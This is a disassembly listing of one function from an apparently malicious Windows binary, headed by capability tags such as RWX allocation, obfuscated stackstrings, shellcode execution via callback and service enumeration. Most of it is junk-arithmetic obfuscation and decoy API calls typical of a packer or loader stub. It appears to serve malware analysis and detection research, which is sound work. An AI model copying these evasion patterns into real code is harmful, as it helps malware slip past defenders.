Function at 0x401019
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Enumerate services
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Resolve function by parsing pe exports

Disassembly:
jmp 0x4015d0
sub esp, 0xe90
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFree]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor esi, esi
mov edi, edi
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.USER32.dll_GetCaretPos]
cmp dword [0x469fe4], 0x343
jne 0x40161d
call edi
push 0
call ebx
push 0
push 0
call ebp
mov dword [0x43fcfc], 0
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
cmp esi, 0x5c7393
jle 0x40164e
cmp dword [esp + 0x28], 0x5416c16
je 0x40164e
cmp dword [esp + 0x14], 0x1352868d
jne 0x401657
inc esi
cmp esi, 0x771ed63
jl 0x4015f0
mov esi, dword [esp + 0x10]
mov edi, dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstFileExA]
xor eax, eax
mov dword [esp + 0x14], eax
cmp dword [0x469fe4], 0x22a
jne 0x4016ce
push 0
lea ecx, [esp + 0x14]
push ecx
push 0
lea edx, [esp + 0x2ac]
push edx
push 0
call ebx
push 0
push 0
push esi
lea eax, [esp + 0x6ac]
push eax
push edi
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.MSIMG32.dll_TransparentBlt]
mov eax, dword [esp + 0x14]
cmp eax, 0xdf223
jne 0x4016e1
mov ecx, dword [0x43e5ec]
mov dword [0x469fe4], ecx
inc eax
mov dword [esp + 0x14], eax
cmp eax, 0x13d032
jl 0x401671
add dword [0x469fe4], 0xf3bc1
mov edi, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_EnumServicesStatusW]
mov ebp, dword [sym.imp.ADVAPI32.dll_AccessCheckByTypeResultListAndAuditAlarmW]
xor esi, esi
lea esp, [esp]
mov dword [0x43fcf0], 0xc8a8f672
mov dword [0x43fcf4], 0xffffffff
cmp esi, 0x6bad8f
jne 0x40173c
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x469fe0], eax
cmp dword [0x469fe4], 0xf10
jne 0x401793
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x30]
push ecx
push 0
lea edx, [esp + 0x28c]
push edx
push 0
push 0
push 0
call ebx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x28]
push edx
push 0
push 0
push 0
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call ebp
inc esi
cmp esi, 0x8076da
jl 0x401710
mov eax, dword [0x469fe4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x43e5e0]
mov dword [0x46a1ec], ecx
xor ecx, ecx
mov dword [0x4684e4], eax
cmp dword [0x469fe4], ecx
jbe 0x403032
lea ecx, [ecx]
mov dword [esp + 0x24], 0x96b9e6c
mov dword [esp + 0x20c], 0x684bf10a
mov dword [esp + 0x160], 0x729c7b78
mov dword [esp + 0x164], 0x78cfb43a
mov dword [esp + 0x10], 0x3bf03e57
mov dword [esp + 0x190], 0x5a4f6ef2
mov dword [esp + 0x118], 0x4cc49c26
mov dword [esp + 0x98], 0x77dff1ce
mov dword [esp + 0x204], 0xa01f99e
mov dword [esp + 0x8c], 0x7a8d1de2
mov dword [esp + 0x1fc], 0x56a0a520
mov dword [esp + 0x1c], 0x1d289d1a
mov dword [esp + 0x1a0], 0x2f816e0e
mov dword [esp + 0x70], 0x5f0029fc
mov dword [esp + 0x238], 0x4712f00b
mov dword [esp + 0x1c0], 0x598ae341
mov dword [esp + 0x138], 0xbc089bd
mov dword [esp + 0x1b4], 0x60f2365
mov dword [esp + 0x208], 0x2a497dc3
mov dword [esp + 0x1f4], 0x8c3e209
mov dword [esp + 0x178], 0x91b6bce
mov dword [esp + 0x84], 0x517064bc
mov dword [esp + 0x1ac], 0x6fa765c2
mov dword [esp + 0x1a4], 0x2a83fa91
mov dword [esp + 0xf8], 0x1ed0168e
mov dword [esp + 0x68], 0xc07a80e
mov dword [esp + 0x1ec], 0x15d1507b
mov dword [esp + 0x20], 0x48471624
mov dword [esp + 0x1e4], 0x3af379b4
mov dword [esp + 0x220], 0x5ced9316
mov dword [esp + 0x228], 0x3395b1d6
mov dword [esp + 0xc4], 0x6881fccf
mov dword [esp + 0x240], 0x7365238a
mov dword [esp + 0x11c], 0x4ec00f2a
mov dword [esp + 0xb8], 0x3f38e474
mov dword [esp + 0x15c], 0xe60f875
mov dword [esp + 0x18], 0x25d81d70
mov dword [esp + 0x90], 0xcfb5d8a
mov dword [esp + 0x230], 0x8ac46fc
mov dword [esp + 0x19c], 0x1164166b
mov dword [esp + 0x7c], 0xcb2c831
mov dword [esp + 0x114], 0x69a879d6
mov dword [esp + 0x38], 0x578e93b3
mov dword [esp + 0x23c], 0x676eb274
mov dword [esp + 0x234], 0x1a6d69a2
mov dword [esp + 0x130], 0x2248e69f
mov dword [esp + 0x10c], 0x6b794f9c
mov dword [esp + 0x210], 0x4ec8c1cd
mov dword [esp + 0x74], 0x274ca2bf
mov dword [esp + 0xf0], 0x66bc3a1c
mov dword [esp + 0x30], 0x1d0bc92e
mov dword [esp + 0xbc], 0x793e90aa
mov dword [esp + 0x26c], 0x1b92ff8c
mov dword [esp + 0x194], 0x5ce159f5
mov dword [esp + 0x60], 0x38ef1ff
mov dword [esp + 0x104], 0x21f6c516
mov dword [esp + 0x22c], 0x7f09c1f3
mov dword [esp + 0xb0], 0x73190e49
mov dword [esp + 0x264], 0x4bbdf13f
mov dword [esp + 0x188], 0x2d647b2
mov dword [esp + 0xb4], 0x394ec66f
mov dword [esp + 0x6c], 0x2d61a971
mov dword [esp + 0x1b8], 0x744ac8dd
mov dword [esp + 0x25c], 0x533554fa
mov dword [esp + 0x170], 0x36bc7ce8
mov dword [esp + 0x88], 0x21418c1e
mov dword [esp + 0xfc], 0x31805723
mov dword [esp + 0x58], 0x1a8acd37
mov dword [esp + 0x1d8], 0x504de6f9
mov dword [esp + 0x224], 0x7817f81d
mov dword [esp + 0x110], 0x542a91b0
mov dword [esp + 0x198], 0x5ca7d1a6
mov dword [esp + 0xac], 0x4481577c
mov dword [esp + 0x64], 0x556c5357
mov dword [esp + 0x1c8], 0x4e14d15a
mov dword [esp + 0x154], 0x315434e3
mov dword [esp + 0x128], 0x3e93cfd3
mov dword [esp + 0x1f8], 0x619d81ed
mov dword [esp + 0x1dc], 0x21f367e6
mov dword [esp + 0x108], 0x312ac174
mov dword [esp + 0x5c], 0x2b775672
mov dword [esp + 0x50], 0x55ade93
mov dword [esp + 0x254], 0x5f5f743d
mov dword [esp + 0x258], 0x259307fb
mov dword [esp + 0xe8], 0x3a6ac749
mov dword [esp + 0x14c], 0x4054257f
mov dword [esp + 0x144], 0xe3d453a
mov dword [esp + 0x250], 0x3a38a8fa
mov dword [esp + 0x54], 0x3e5d5d53
mov dword [esp + 0x13c], 0x7630ae8c
mov dword [esp + 0x134], 0x6e095a91
mov dword [esp + 0x4c], 0x7729456f
mov dword [esp + 0x18c], 0xb1aa0d5
mov dword [esp + 0x44], 0x577de734
mov dword [esp + 0xa8], 0x7a9f3c14
mov dword [esp + 0x278], 0x46ac5617
mov dword [esp + 0x12c], 0xae772ca
mov dword [esp + 0x184], 0x1a98c53d
mov dword [esp + 0xf4], 0x2089a3d9
mov dword [esp + 0x80], 0x5008d42e
mov dword [esp + 0xec], 0x104477c5
mov dword [esp + 0xa4], 0x2e53459a
mov dword [esp + 0x180], 0x754b6ab4
mov dword [esp + 0x17c], 0x27a5b25b
mov dword [esp + 0x24c], 0x38b5ce20
mov dword [esp + 0x21c], 0x4ee888c2
mov dword [esp + 0xe4], 0x516e01d2
mov dword [esp + 0xe0], 0x16b01c7d
mov dword [esp + 0x9c], 0x1adb0f90
mov dword [esp + 0x214], 0x2a515064
mov dword [esp + 0x124], 0x5924c50
mov dword [esp + 0x78], 0x611961a
mov dword [esp + 0x244], 0x4a1dee42
mov dword [esp + 0x1b0], 0x1d0a51cf
mov dword [esp + 0x1d4], 0x7ad4daf1
mov dword [esp + 0x1cc], 0x33efd90c
mov dword [esp + 0x120], 0x7f58a930
mov dword [esp + 0x1c4], 0x67bc29df
mov dword [esp + 0x1e8], 0x4d2bd1a1
mov dword [esp + 0x174], 0x20b17de4
mov dword [esp + 0x28], 0x22a5e1da
mov dword [esp + 0x1d0], 0x15066939
mov dword [esp + 0x248], 0x4b1ed5e5
mov dword [esp + 0x16c], 0x3b1a1bb4
mov dword [esp + 0x148], 0x53fbe72a
mov dword [esp + 0xd8], 0x7dc3d3cb
mov dword [esp + 0x200], 0x53d6dbba
mov dword [esp + 0x3c], 0x2e0fe8b2
mov dword [esp + 0x218], 0x296eb125
mov dword [esp + 0xd0], 0x563adb1
mov dword [esp + 0x1a8], 0x6da25b07
mov dword [esp + 0xa0], 0x52a07f58
mov dword [esp + 0xdc], 0x7c929623
mov dword [esp + 0xc8], 0x126b68a1
mov dword [esp + 0x34], 0x5ca3ade4
mov dword [esp + 0xd4], 0xf4f9c45
mov dword [esp + 0x270], 0xce7357c
mov dword [esp + 0x168], 0x15568b5a
mov dword [esp + 0xcc], 0x1590b6fb
mov dword [esp + 0x1f0], 0x2e20cfec
mov dword [esp + 0x48], 0x45c1def2
mov dword [esp + 0x268], 0x725b0991
mov dword [esp + 0x140], 0x1b65dbb8
mov dword [esp + 0x150], 0x53e62db0
mov dword [esp + 0x260], 0x422acdc0
mov dword [esp + 0x14], 0x758e8394
mov dword [esp + 0x1bc], 0x1530474
mov dword [esp + 0x1e0], 0x455a3344
mov dword [esp + 0x274], 0x4c874381
mov dword [esp + 0xc0], 0x2088ec45
mov dword [esp + 0x158], 0x6e2be520
mov dword [esp + 0x100], 0x503b6785
mov dword [esp + 0x40], 0xae77aaa
mov dword [esp + 0x94], 0x3e79b765
mov eax, 0x4eb13cf8
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
sub dword [esp + 0x24], 0x22535ed4
mov eax, 0x2940dcb6
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
mov eax, 0x32743583
mul dword [esp + 0x20c]
mov eax, dword [esp + 0x20c]
mov eax, 0x615f18db
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
mov eax, 0x790e3c99
mul dword [esp + 0x160]
mov eax, dword [esp + 0x160]
sub dword [esp + 0x160], 0x1162a424
add dword [esp + 0x24], 0x1046334d
sub dword [esp + 0x164], 0x757e5a4e
add dword [esp + 0x160], 0x36afdb81
sub dword [esp + 0x20c], 0x788c9a31
mov eax, 0x41a264f7
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
sub dword [esp + 0x20c], 0x10969b7
sub dword [esp + 0x190], 0x4cf50706
add dword [esp + 0x24], 0x5966c925
add dword [esp + 0x10], 0x2deb5177
add dword [esp + 0x98], 0x3350df2b
sub dword [esp + 0x8c], 0x4c4a78c2
mov eax, 0x37785eeb
mul dword [esp + 0x118]
mov eax, dword [esp + 0x118]
mov eax, 0x7d5c3372
mul dword [esp + 0x190]
mov eax, dword [esp + 0x190]
mov eax, 0x167475fa
mul dword [esp + 0x190]
mov eax, dword [esp + 0x190]
add dword [esp + 0x24], 0x22b1c65c
mov eax, 0x1e137514
mul dword [esp + 0x10]
mov eax, dword [esp + 0x10]
sub dword [esp + 0x160], 0x111c70dc
sub dword [esp + 0x190], 0x7bb16e21
mov eax, 0x441bd5e1
mul dword [esp + 0x190]
mov eax, dword [esp + 0x190]
mov eax, 0x52c7dc4a
mul dword [esp + 0x118]
mov eax, dword [esp + 0x118]
add dword [esp + 0x98], 0x1f21388b
mov eax, 0x3f8f5403
mul dword [esp + 0x204]
mov eax, dword [esp + 0x204]
sub dword [esp + 0x238], 0x1c90a2b8
add dword [esp + 0x118], 0x68d45cd5
mov eax, 0x56162dd7
mul dword [esp + 0x238]
mov eax, dword [esp + 0x238]
sub dword [esp + 0x118], 0x652360ea
mov eax, 0x7bb4fda
mul dword [esp + 0x164]
mov eax, dword [esp + 0x164]
sub dword [esp + 0x20c], 0x287b7910
mov eax, 0x40c8266b
mul dword [esp + 0x160]
mov eax, dword [esp + 0x160]
add dword [esp + 0x10], 0xf3a5999
add dword [esp + 0x118], 0x7348f367
add dword [esp + 0x1c0], 0x6084c07d
sub dword [esp + 0x204], 0x5a949a2f
mov eax, 0xbc1bc35
mul dword [esp + 0x164]
mov eax, dword [esp + 0x164]
add dword [esp + 0x190], 0x69ad7c63
mov eax, 0x6d0b2581
mul dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
sub dword [esp + 0x1c0], 0xe18ca1e
sub dword [esp + 0x20c], 0x44e0b192
add dword [esp + 0x138], 0x3f002e1
mov eax, 0x2610dd5
mul dword [esp + 0x208]
mov eax, dword [esp + 0x208]
sub dword [esp + 0x10], 0x31c281f6
sub dword [esp + 0x1a0], 0x47c0e0f7
mov eax, 0x21612ba7
mul dword [esp + 0x138]
mov eax, dword [esp + 0x138]
mov eax, 0x7b40938c
mul dword [esp + 0x178]
mov eax, dword [esp + 0x178]
add dword [esp + 0x20], 0x58c98bc9
add dword [esp + 0x208], 0x7f9b5609
add dword [esp + 0x8c], 0x1c771053
mov eax, 0x12d075ac
mul dword [esp + 0x20c]
mov eax, dword [esp + 0x20c]
mov eax, 0x7ef92966
mul dword [esp + 0x1c0]
mov eax, dword [esp + 0x1c0]
mov eax, 0x4035ff95
mul dword [esp + 0x1e4]
mov eax, dword [esp + 0x1e4]
add dword [esp + 0x1fc], 0x371ff1d8
mov eax, 0x718aa662
mul dword [esp + 0x1ac]
mov eax, dword [esp + 0x1ac]
add dword [esp + 0x220], 0x208e51a6
add dword [esp + 0x160], 0x5e024796
mov eax, 0xab90523
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
sub dword [esp + 0x1c0], 0xd5a3d40
sub dword [esp + 0x178], 0x739978b7
add dword [esp + 0x178], 0x2d485517
mov eax, 0x660e3de8
mul dword [esp + 0x1a0]
mov eax, dword [esp + 0x1a0]
mov eax, 0x6c1b44dc
mul dword [esp + 0x178]
mov eax, dword [esp + 0x178]
mov eax, 0x731c45d4
mul dword [esp + 0x164]
mov eax, dword [esp + 0x164]
add dword [esp + 0x178], 0x74938a24
mov eax, 0x4eaa52f6
mul dword [esp + 0x11c]
mov eax, dword [esp + 0x11c]
mov eax, 0x3164fa91
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
sub dword [esp + 0x164], 0x199bda1c
mov eax, 0x558cc8a0
mul dword [esp + 0x138]
mov eax, dword [esp + 0x138]
sub dword [esp + 0x1b4], 0xbe64080
mov eax, 0x7ff640fa
mul dword [esp + 0x138]
mov eax, dword [esp + 0x138]
mov eax, 0x3910c9f9
mul dword [esp + 0x20c]
mov eax, dword [esp + 0x20c]
mov eax, 0x6560ed5f
mul dword [esp + 0x230]
mov eax, dword [esp + 0x230]
add dword [esp + 0x19c], 0x60be7397
mov eax, 0x298de6d9
mul dword [esp + 0x1e4]
mov eax, dword [esp + 0x1e4]
mov eax, 0x3f277d8c
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
sub dword [esp + 0x1b4], 0x3b63daee
mov eax, 0xece86d5
mul dword [esp + 0x190]
mov eax, dword [esp + 0x190]
add dword [esp + 0x160], 0x4877440c
sub dword [esp + 0x11c], 0x645f333
mov eax, 0x3088bc68
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
sub dword [esp + 0x204], 0x307f9774
sub dword [esp + 0x230], 0xb5e5e1e
add dword [esp + 0x118], 0x2aa7abb1
add dword [esp + 0x114], 0x83b9a52
add dword [esp + 0x138], 0x526b9971
add dword [esp + 0x15c], 0x16eca4bb
add dword [esp + 0x160], 0x6a08d0d2
mov eax, 0x57d8fa5a
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
sub dword [esp + 0x24], 0x21777fc
sub dword [esp + 0x1a4], 0x2bf13135
sub dword [esp + 0x1ec], 0x32481e9e
sub dword [esp + 0x1ec], 0x5395fb77
add dword [esp + 0x1e4], 0xd5761d9
sub dword [esp + 0x20c], 0x671cc458
add dword [esp + 0x10c], 0x33e1aae3
mov eax, 0x15051c13
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
mov eax, 0x12bb5817
mul dword [esp + 0x220]
mov eax, dword [esp + 0x220]
mov eax, 0x46eccba5
mul dword [esp + 0x1ec]
mov eax, dword [esp + 0x1ec]
mov eax, 0x42146ccb
mul dword [esp + 0x118]
mov eax, dword [esp + 0x118]
add dword [esp + 0x84], 0x6bd09e94
mov eax, 0x236bf5e4
mul dword [esp + 0x264]
mov eax, dword [esp + 0x264]
mov eax, 0x3d9dd398
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
mov eax, 0x3b9134db
mul dword [esp + 0x228]
mov eax, dword [esp + 0x228]
mov eax, 0x7a1b924d
mul dword [esp + 0x11c]
mov eax, dword [esp + 0x11c]
mov eax, 0x75e793b8
mul dword [esp + 0x114]
mov eax, dword [esp + 0x114]
add dword [esp + 0x1f4], 0x5cab5bf
add dword [esp + 0x74], 0x7b1f571d
mov eax, 0x13c2769e
mul dword [esp + 0xf8]
mov eax, dword [esp + 0xf8]
sub dword [esp + 0x208], 0x46395401
sub dword [esp + 0x1c0], 0x48c7a58e
sub dword [esp + 0x8c], 0x65bc74f
mov eax, 0x5fc0c1c
mul dword [esp + 0x22c]
mov eax, dword [esp + 0x22c]
add dword [esp + 0x60], 0x8906362
add dword [esp + 0xc4], 0x6b4fe338
sub dword [esp + 0x1ac], 0x6ea77cf0
sub dword [esp + 0x1ac], 0x58573650
add dword [esp + 0x68], 0x677a72ea
sub dword [esp + 0xf8], 0x35a5e391
mov eax, 0x5183251a
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
mov eax, 0x755d989b
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
add dword [esp + 0x60], 0x33ccade
mov eax, 0x4f0a889d
mul dword [esp + 0x23c]
mov eax, dword [esp + 0x23c]
sub dword [esp + 0x98], 0x68e31666
sub dword [esp + 0xf0], 0x6d9ea941
mov eax, 0x15a8cf0c
mul dword [esp + 0x160]
mov eax, dword [esp + 0x160]
mov eax, 0x68553c6f
mul dword [esp + 0x164]
mov eax, dword [esp + 0x164]
sub dword [esp + 0x1e4], 0x34d87b6c
add dword [esp + 0x264], 0x3933df94
mov eax, 0x1f67d1cd
mul dword [esp + 0xfc]
mov eax, dword [esp + 0xfc]
add dword [esp + 0x98], 0x79f7ff48
add dword [esp + 0x26c], 0x3215b4bf
mov eax, 0x29400968
mul dword [esp + 0xb4]
mov eax, dword [esp + 0xb4]
add dword [esp + 0xb0], 0x347d3316
mov eax, 0x750b67bb
mul dword [esp + 0x1b8]
mov eax, dword [esp + 0x1b8]
add dword [esp + 0x25c], 0x2bbba2b
mov eax, 0x5871937e
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
mov eax, 0x5e7c5964
mul dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
sub dword [esp + 0x1b8], 0x521194bd
sub dword [esp + 0x264], 0x2fc24d64
mov eax, 0x6644dd39
mul dword [esp + 0x118]
mov eax, dword [esp + 0x118]
mov eax, 0x21e31e6c
mul dword [esp + 0x1ac]
mov eax, dword [esp + 0x1ac]
add dword [esp + 0x130], 0x2199895c
sub dword [esp + 0x194], 0x2fa16fd2
add dword [esp + 0xbc], 0x23ec4d74
sub dword [esp + 0x26c], 0x3305e65
mov eax, 0x6e7d2ac
mul dword [esp + 0x1a4]
mov eax, dword [esp + 0x1a4]
mov eax, 0x29ececf1
mul dword [esp + 0x22c]
mov eax, dword [esp + 0x22c]
sub dword [esp + 0x64], 0x5b7674ec
mov eax, 0x7ace296b
mul dword [esp + 0x194]
mov eax, dword [esp + 0x194]
sub dword [esp + 0x1fc], 0x3af9371e
sub dword [esp + 0x264], 0x76d4e6dd
add dword [esp + 0x160], 0x4bdb01bd
add dword [esp + 0x264], 0x2958f173
mov eax, 0x2eb4b546
mul dword [esp + 0x164]
mov eax, dword [esp + 0x164]
mov eax, 0x3bdd3f62
mul dword [esp + 0x208]
mov eax, dword [esp + 0x208]
mov eax, 0x4c0d7a50
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
sub dword [esp + 0x188], 0x647710a7
sub dword [esp + 0x15c], 0x9ac2e66
add dword [esp + 0x118], 0x63e57116
mov eax, 0x33a9758c
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
mov eax, 0x6217e7e
mul dword [esp + 0x1f8]
mov eax, dword [esp + 0x1f8]
mov eax, 0x381c39f0
mul dword [esp + 0x198]
mov eax, dword [esp + 0x198]
sub dword [esp + 0x1c], 0x65304931
add dword [esp + 0x24], 0xcf5b3ff
add dword [esp + 0x11c], 0x77de9373
add dword [esp + 0xb8], 0xf165b74
sub dword [esp + 0x1fc], 0x64bdbc5f
mov eax, 0x66814861
mul dword [esp + 0xbc]
mov eax, dword [esp + 0xbc]
mov eax, 0x40d0b2bd
mul dword [esp + 0xb8]
mov eax, dword [esp + 0xb8]
sub dword [esp + 0x1f4], 0x257914b
sub dword [esp + 0x1dc], 0x64f110e2
mov eax, 0xf43c2fb
mul dword [esp + 0x210]
mov eax, dword [esp + 0x210]
sub dword [esp + 0xb0], 0x2ec689ec
mov eax, 0x63dda938
mul dword [esp + 0x1f8]
mov eax, dword [esp + 0x1f8]
mov eax, 0x339ae150
mul dword [esp + 0x1ac]
mov eax, dword [esp + 0x1ac]
sub dword [esp + 0x234], 0x567f1c06
add dword [esp + 0x130], 0x6591d3f8
sub dword [esp + 0x110], 0xeae372f
add dword [esp + 0xac], 0x5856678
add dword [esp + 0xb4], 0x4ffa6d4b
mov eax, 0x765196e0
mul dword [esp + 0x234]
mov eax, dword [esp + 0x234]
add dword [esp + 0x160], 0x6c528296
add dword [esp + 0x19c], 0x43f96844
add dword [esp + 0x24], 0xa2faeea
add dword [esp + 0xac], 0x5bca63cb
sub dword [esp + 0x1d8], 0x1e0ac7aa
add dword [esp + 0x1a4], 0x647231c8
mov eax, 0x4d054c4a
mul dword [esp + 0x1b8]
mov eax, dword [esp + 0x1b8]
add dword [esp + 0x25c], 0x1d8826a9
add dword [esp + 0x1b4], 0x1440b8d6
add dword [esp + 0x240], 0x4e37d7dd
sub dword [esp + 0x24], 0x67cbef99
sub dword [esp + 0x254], 0x243dacca
add dword [esp + 0x220], 0x6f59a7eb
add dword [esp + 0x188], 0x774f7d1c
sub dword [esp + 0xfc], 0x71e03005
sub dword [esp + 0x1dc], 0x2ab65ea8
add dword [esp + 0x26c], 0x33c285b0
sub dword [esp + 0x238], 0x7741bf99
mov eax, 0x4947bccd
mul dword [esp + 0x11c]
mov eax, dword [esp + 0x11c]
add dword [esp + 0x10], 0x267e3051
add dword [esp + 0xf0], 0x20167f64
sub dword [esp + 0x1f4], 0x281c96bc
add dword [esp + 0xb4], 0x64c01c16
sub dword [esp + 0x1f8], 0x766685d1
sub dword [esp + 0x23c], 0x1a1d7b21
mov eax, 0x366e925d
mul dword [esp + 0x220]
mov eax, dword [esp + 0x220]
add dword [esp + 0x1e4], 0x21754d96
sub dword [esp + 0x240], 0x4dcb3e3c
sub dword [esp + 0x240], 0x14077e9c
mov eax, 0x2d497db9
mul dword [esp + 0x19c]
mov eax, dword [esp + 0x19c]
add dword [esp + 0x1d8], 0x4169a2be
sub dword [esp + 0xbc], 0x5048dca5
sub dword [esp + 0x208], 0x61c0fcca
add dword [esp + 0x134], 0x31938681
mov eax, 0x71422af3
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
mov eax, 0x6d0b3371
mul dword [esp + 0xb4]
mov eax, dword [esp + 0xb4]
add dword [esp + 0x22c], 0x474f61ef
sub dword [esp + 0x134], 0x197d6709
add dword [esp + 0x30], 0x5c64e451
add dword [esp + 0x190], 0x5b5c321b
mov eax, 0x4e003bde
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
mov eax, 0x110552cf
mul dword [esp + 0x160]
mov eax, dword [esp + 0x160]
sub dword [esp + 0x84], 0x6ba84bed
add dword [esp + 0x1c0], 0x66a73353
sub dword [esp + 0x5c], 0x560011b8
mov eax, 0x55699d48
mul dword [esp + 0x1b8]
mov eax, dword [esp + 0x1b8]
mov eax, 0x11abc11e
mul dword [esp + 0x18]
mov eax, dword [esp + 0x18]
mov eax, 0x1d5caca0
mul dword [esp + 0xf8]
mov eax, dword [esp + 0xf8]
add dword [esp + 0x18], 0x1af1b0df
add dword [esp + 0x110], 0x1e447334
sub dword [esp + 0x58], 0x26bc22ee
add dword [esp + 0x4c], 0x62f01bbc
add dword [esp + 0x60], 0x73547c98
add dword [esp + 0x1e4], 0xbf4954
sub dword [esp + 0x160], 0x2fdc4098
add dword [esp + 0x88], 0x681ec8dd
mov eax, 0x2d6901cb
mul dword [esp + 0x1f4]
mov eax, dword [esp + 0x1f4]
sub dword [esp + 0x128], 0x24cf5702
sub dword [esp + 0x68], 0x5ce43193
mov eax, 0x66e8e740
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
add dword [esp + 0x108], 0x1102329a
mov eax, 0x30977f30
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
mov eax, 0x45addee2
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
mov eax, 0x853e3ad
mul dword [esp + 0x19c]
mov eax, dword [esp + 0x19c]
sub dword [esp + 0xf4], 0x92a3a78
sub dword [esp + 0x22c], 0x7c0cf588
sub dword [esp + 0x254], 0x4d31c761
add dword [esp + 0x198], 0x76eebec4
add dword [esp + 0xe8], 0x55419545
mov eax, 0x18d06ecb
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
sub dword [esp + 0x188], 0x64e4a2e8
mov eax, 0x549702f2
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
add dword [esp + 0x164], 0x4f0b48c8
mov eax, 0x258100df
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
mov eax, 0x151d6b45
mul dword [esp + 0xec]
mov eax, dword [esp + 0xec]
mov eax, 0xaf6441b
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
add dword [esp + 0x13c], 0x7ed1cd00
mov eax, 0x1144e29
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
sub dword [esp + 0x124], 0x3435d704
sub dword [esp + 0x10c], 0x7e3f92b6
sub dword [esp + 0x13c], 0x35ee615e
mov eax, 0x200f8539
mul dword [esp + 0x1f4]
mov eax, dword [esp + 0x1f4]
sub dword [esp + 0x78], 0x73233209
sub dword [esp + 0x208], 0x7073cba
add dword [esp + 0x18], 0x13e37188
add dword [esp + 0x118], 0xab5bb8d
mov eax, 0x42671e6c
mul dword [esp + 0x180]
mov eax, dword [esp + 0x180]
add dword [esp + 0x210], 0x7367b288
mov eax, 0x107878d7
mul dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
add dword [esp + 0x244], 0x5829eb25
mov eax, 0x288fd325
mul dword [esp + 0x12c]
mov eax, dword [esp + 0x12c]
mov eax, 0x3b3270a9
mul dword [esp + 0x1f8]
mov eax, dword [esp + 0x1f8]
mov eax, 0xea99af4
mul dword [esp + 0x26c]
mov eax, dword [esp + 0x26c]
add dword [esp + 0xe4], 0x610d1e73
mov eax, 0x48eacedc
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
add dword [esp + 0xf0], 0xcc533b1
add dword [esp + 0x1cc], 0xd02949e
add dword [esp + 0x1c8], 0x28d8a6ee
add dword [esp + 0x208], 0x4a9d6d8c
add dword [esp + 0x50], 0x3126cc34
sub dword [esp + 0x248], 0x3cef903a
sub dword [esp + 0x14c], 0x78e091b8
mov eax, 0x31cf2b95
mul dword [esp + 0x180]
mov eax, dword [esp + 0x180]
sub dword [esp + 0x278], 0x43ff05a6
mov eax, 0x25460cf
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
mov eax, 0x126fd574
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
sub dword [esp + 0x120], 0x5accda89
sub dword [esp + 0x244], 0x7303a074
mov eax, 0x5a508667
mul dword [esp + 0x24c]
mov eax, dword [esp + 0x24c]
add dword [esp + 0x208], 0x3f191d85
mov eax, 0x4843b98f
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
mov eax, 0x6687a30
mul dword [esp + 0x1c8]
mov eax, dword [esp + 0x1c8]
add dword [esp + 0x190], 0x6c69c4db
mov eax, 0x25293371
mul dword [esp + 0xb4]
mov eax, dword [esp + 0xb4]
sub dword [esp + 0x130], 0x16530915
mov eax, 0x55ed902b
mul dword [esp + 0x214]
mov eax, dword [esp + 0x214]
add dword [esp + 0xfc], 0x1eb5eb07
sub dword [esp + 0x13c], 0x352a6454
mov eax, 0x57e9dfda
mul dword [esp + 0x214]
mov eax, dword [esp + 0x214]
sub dword [esp + 0x124], 0x23f8ba4
mov eax, 0x65541b76
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
mov eax, 0x515087e
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
